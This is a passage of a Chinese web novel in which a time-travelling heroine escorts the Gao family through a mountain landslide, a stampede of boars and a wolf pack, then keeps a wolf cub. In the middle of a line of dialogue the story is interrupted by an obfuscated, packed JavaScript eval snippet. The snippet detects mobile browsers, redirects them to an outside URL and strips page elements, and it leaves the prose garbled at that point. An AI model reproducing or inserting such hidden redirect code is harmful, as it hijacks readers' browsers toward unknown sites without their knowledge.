莫姻心中更发慌了,他不会已看透我是异世之人?他不会把我当异端烧了吧?烧应是不会了,那他不会是以收徒之名,行监视之实吧?在现代看的小说情节骤然涌上心头,什么祸国灾星,什么当世妲己。 莫绸在心中排着可能性。 大隋都要亡了,还需要她迫害? 虽说她同李世民关系不错,但她们是挚友,是发小,她可没当妲己的想法! 而且李世民和长孙皇后出了名的恩爱,她可没挖人墙角的念头,也接受不了一夫多妻,磕cp,抱大腿不香吗?又给自己做了一番心理暗示,莫姻终是放下心来。回来的路上,她隐约觉高府守卫更严了些。吴娘子悄声同她说,他们要穿过圭峰山,因其险峻的山势,又被称为鬼谷山。 而这座山上,多马贼。 第43章 车马轿鳞,辕辙交错,马蹄得得。 高大的骏马、骡子打着鼻响,驾马的车夫和四周的护卫,一刻亦不敢懈怠。 行至半山腰,前方骤然传来一阵巨响。 高府众人皆自顾停下,护卫们列队,刀剑出鞘,弓弦紧绷,众人皆做好浴血奋战的准备。 半晌过去,却迟迟未见马贼出现,只零星听到些碎石滚落的响动。 因着高府车马走在最前头,身后跟着星罗棋布的马车、骡车,渐渐汇拢,首尾相连。 见僵持在此处,后头的车队纷纷叫嚷开来。 “快走啊,摆什么假把式?” "堵着干嘛?这么怕死啊?" "胆小如鼠,上啊!" 骑着小马驹的莫姻听烦了,才不惯着这些臭嘴的人,高声骂了回去:"急什么急,赶着去投胎啊!""嘿,你个小娘们,爷爷我来教教你做人。" 紧邻着高府车队的一护卫,颧骨高耸,粗腰扭动上前,撸起袖子,露出打着结的汗毛,欲将莫姻拽下马。 莫姻一面握紧手中的飞镖,一面捏着装曼陀罗子粉的药囊。 可惜那人还未冲到她跟前,就被吴娘子拦下。 “哟,护卫都是个小娘子啊!” 那人见了吴娘子,还眼神不正地调戏。 吴娘子欲挖了他双眼,但瞧着他身后马车中探出头的三白眼妇人,还是只将他揍得鼻青脸肿后,丢了回去。 “没用的东西,丢人现眼。” 三白眼夫人唾了护卫一口,扔下帘子躲了进去,四周传来了哄笑声。 "夫人,我是君子风度,不同这小娘们计较!" 这护卫隔着帘子,勾腰驼背向他夫人解释,嘴似抹了蜜,明明被揍得毫无还手之力,仍要吹得天花乱坠。 见忽悠不了高府车队先去探路,这护卫亦想在夫人面前挽回些颜面,仗着自家护卫多,先行一步,欲前去杀了马贼,一展雄威。俄而,一阵低沉的轰鸣自山腹深处传来,仿佛异兽的咆哮。 紧接着,整个山体开始颤抖,大地脉搏剧烈跳动。 高府一行人,眼见着十米外的马车直直坠下去,陷出个巨坑。 一时尖叫,悲鸣响起,马儿扬蹄嘶叫,刨动泥浆欲往上骑,却仍被背后沉重的车马带下深渊。 同时目睹此情形的车马,猛然骚动起来,马子、骡子们拼命挣脱缰绳,嘶喊与哀嚎连绵不断,一片混乱。 有死命拽着发狂的马子,往回走的;有试图攀上身旁的岩石,往高处爬的;有寻找巨石,藏身的。 挺着大肚的妇人,绝望无助地喊着丢下他们逃窜的夫郎;步履蹒跚的老者,被嫌他碍事的至亲,推向外围…… 高府众人还算冷静,护卫们变换队形护着马车内的主子们往后退,高夫人一面安慰心惊肉跳的婆母,一面低哄哭泣的稚子。 莫姻躬身贴了贴还是懒洋洋的小马驹后,翻身下马,窜上了高夫人的马车。 她在马车上翻出根粗麻绳,将其绑在腹部,一头栓在高夫人的马车上,仗着人小又轻便,捡了根长木棍,边戳着向前探路,边小心翼翼往巨坑旁挪。 一套动作之连贯迅速,令还处于忙乱戒备的高府众人皆没反应过来。 莫姻前世是参加过地震救援的,这般场面,她第一反应是前去查看原因,看是否还有再次发生的可能,再看还有无可生还之人。潜意识的肌肉记忆,远比仔细考量来得快,待她自个回过神来时,她已经捡了棍棒往前走了。终也是要前去探探情况的,莫姻便没再多纠结,却将第一个瞧见她动作的人,吓得够呛。高夫人正哄着哭闹的小公子,余光瞥见了上蹿下跳的莫姻,一个背身瞧完婆母闪着的腰,扭头就不见她踪影了。 “姻姻,你干什么!快回来!” 急急忙忙探出身子,夫人惊慌失措地喊,声儿都夹杂着哭意。 “阿姆,不会有事的,吴姐姐帮我抓紧绳。” 莫姻朗声安慰,示意欲冲上来的吴娘子帮着拉紧缰绳。 吴娘子亦明白她这举动虽惊人,但不算太过危险,再次嘱咐她捆紧身上的绳后,手又缠了几圈,以防马车滑车。 小马驹也走到吴娘子身旁,嘴衔缰绳,帮她拽着。 将将行至滑坡边缘,莫姻见岩石与泥土混着植被,还在往下滚沙石,下头深不见底,恐无人生还。 摸了摸土质,很是潮湿,又伸手压了压较远处的泥土,一按就陷个手坑,松散亦垮。 但地面未见变形,亦没有裂缝,约莫只是单纯的山体滑坡,而不是地龙,算是不幸中的万幸了。 想来是因着近来山雪融化,还伴着大量的雨水,山体本就松软,再加上近来上香拜佛之人众多,便终是承受不住了。 回了马车上,正同高母和高夫人说着原由,不远处本已渐渐低垂的哭泣声,忽而又变为高亢的哀嚎。这喊叫声足够大,其振动倒霉的与山体内部固有的频率吻合上了,山体竟又开始晃动。一时间,东倒西歪,人仰马翻。 莫姻忙随手抓了几个轻便的包袱,捆上小身板,扶着高母和高夫人出了马车。 方钻出车帘,身后的马车终是撑不住了,轰然倒塌 ,但她们已无暇庆幸,眼前山林中野兽们正乌压压袭来。松鼠群叼着松果闪过,野兔们四腿飞速交替,刺猬蜷起身子急遽滚着,鹿群撒丫子狂奔,羚羊挤着跳向远方…… “有野猪啊!” “快跑,野猪!” 只见一头头竖起鬃毛的野猪,哼哧哼哧朝山腰冲来。 膘肥滚圆的身子横冲直撞,一路撞断了灌木,朝着众人扑了上来。"啊啊啊,快跑,有狼!"“狼——是狼群啊啊!”一波未平,一波又起,野猪身后,跟着的是夹着尾巴,耳朵向后紧贴头颅,发出低沉呜咽的狼群。 一时间,人们四散开来,慌不择路。 有上树的,有钻兔子洞的,有躺平屏住呼吸装死的,还有没长眼踩空掉下山崖的…. 因着能跑的都跑了,跑不了的都躺着不喘气了,那些个獠牙狰狞、肉厚皮坚的野猪,莽莽撞撞冲向高府的队伍。这头护卫们,一面护着高府众人躲着滚落的山石往后撤,一面还同野猪们打得不可开交。 两条腿的人,自没有四条腿的畜生能跑,不知何时野猪竟散了干净,众人却被瘦骨嶙峋的饿狼群,团团围住。莫姻忍住心慌,东摸摸,西掏掏,将死命往她怀里钻、吓得颤颤发抖的小狼崽薅出来。 "小狼崽,快看看是不是你亲戚,认个亲,我们互相放过,别两败 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823036|146029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俱伤!" 莫姻牵起它抵在自己身上不愿意听的小耳朵,急急哄道。 毕竟此次出门,为防意外,她向毕娘子要了足够多的曼陀罗子粉,虽不能做到毫发无损的全身而退,但亦能让狼群有去无回。 小狼崽听罢,终是抬起头来,对着狼群嗷呜一声,又躲进了她怀里。 她见状,也没法子了,正欲展开药囊,就见狼群分开一条道。 两头灰狼走上前来,她一眼便认出了母狼,忙将怀中的小狼崽放下去,哄着它往它娘那儿去。 小狼崽颤颤巍巍爬了两步,又倒下,往莫姻处溜。 而一直防备着饿狼们的她,这次看得真切,母狼眼中确是布满嫌弃,还是狼王轻步上前,同小白亲热地鼻吻舔舐,将它抛到背上,驮着它转悠。"儿不嫌母丑,母也不能嫌儿白啊!" 见母狼无动于衷,莫姻一面不动声色地拉着众人后退,一面苦口婆心同它讲道理。 “嗷呜——” 母狼低吼一声,扭头领着狼群跑了,她分明瞧见,它朝她翻了个白眼! 见头狼这么亲近小狼崽,她放下心来的同时,又很是不舍,安慰自己狼还是跟着狼群生活更好,咽下心头的涩意,招呼着高府众人也跑起来。忽觉胸前长飘的宫绦被拽着,竟要将她外裙扯开。 一把抓紧往下滑的裙,低头是小狼崽往上爬的无辜眼神。 莫姻忙抱起它,裹紧裙,一回头,见狼王轻摇尾巴后,前腿弯曲,臀部抬起,成鞠躬状。见她看见后,便也嗷呜一声,追着母狼去了。 “啊啊啊——” “救命啊,救命——” “啊,我的腿——” 狼群离去的方向,传来一阵阵惨叫,还似有野兽啃食拖拽之声。 怀中的小狼崽更是抓紧了她前襟,莫姻向前的脚步一滞,领着高府众人换了方向逃。“你怎么不救她们!” 一同莫姻差不多大的女娃上前来,挡住了他们的去路。 女娃着水杏套青翠的齐腰襦裙,梳着双鬟髻,头戴金丝花枝,颈上、手腕上环着银圈子,上头还坠了银铃。“对啊,小小年纪,见死不救,歹毒心肠!”身后跟着他们的一老妇人,吊着三角眼,忙帮腔道。 "小娘子,你去救救他们吧。" 一大肚妇人亦是红着眼,楚楚可怜地瞧着莫姻,她身旁约莫四五岁的小儿晃着个小牛犊的身板,冲上前来,将莫姻往尖叫处拽。"与我非亲非故,我为何要去?" 莫姻手持飞镖,割掉小儿猛着的裙尾,将他扇去妇人身旁。 "哼,不识好歹!"高夫人厉声道,薅开挡在面前的女童道, "姚小婆,管好你的蠢货!" “快走,夫人走!” 见天上似有乌云聚拢,莫姻懒得再同他们废话,忙拉了高夫人继续向前。"姑娘,你行行好啊!我夫君在那!"“小娘子,那狼听你的,你发发善心,救救我婆母!”"别走,别走,救救我的儿啊!" 方才瞧见狼群放过高府一行人,现今藏在他们身后躲祸的人,见他们要离去,竟联合起围了上来。不仅将高府一行人死死堵住,还皆虎视眈眈地瞧着她。似若她不去救,他们就要冲上来将她撕碎,碎肉还要拿去喂狼,换出自己的人。